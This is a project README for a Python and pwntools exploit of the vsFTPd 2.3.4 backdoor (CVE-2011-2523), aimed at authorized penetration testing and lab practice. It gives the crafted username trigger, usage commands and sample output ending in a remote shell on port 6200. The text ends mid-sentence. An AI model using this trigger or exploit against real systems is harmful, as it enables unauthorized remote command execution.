Python exploit for vsFTPd 2.3.4 backdoor (CVE-2011-2523) that triggers a hidden shell on port 6200 via a crafted username, enabling remote command execution for authorized penetration testing.
This project demonstrates exploitation of the vsFTPd 2.3.4 backdoor vulnerability (CVE-2011-2523) using Python and pwntools.
Disclaimer: This project is for educational and authorized penetration testing purposes only. Do NOT use against systems without permission.
👉 The vulnerable version of vsFTPd contains a malicious backdoor that is triggered when a username containing :) is used during login.
vsFTPd 2.3.4USER hello:))pwntools libraryInstall dependencies:
pip install pwntools
python3 exploit.py <TARGET_IP>
python3 exploit.py <TARGET_IP> <PORT>
python3 exploit.py 192.168.190.140
[+] Checking FTP Version...
[+] Triggering backdoor...
[+] Connecting to backdoor....
[+] Got Shell
$
Target must be running vsFTPd 2.3.4 (vulnerable version)
Port 6200 must be reachable
Works best in lab environments like: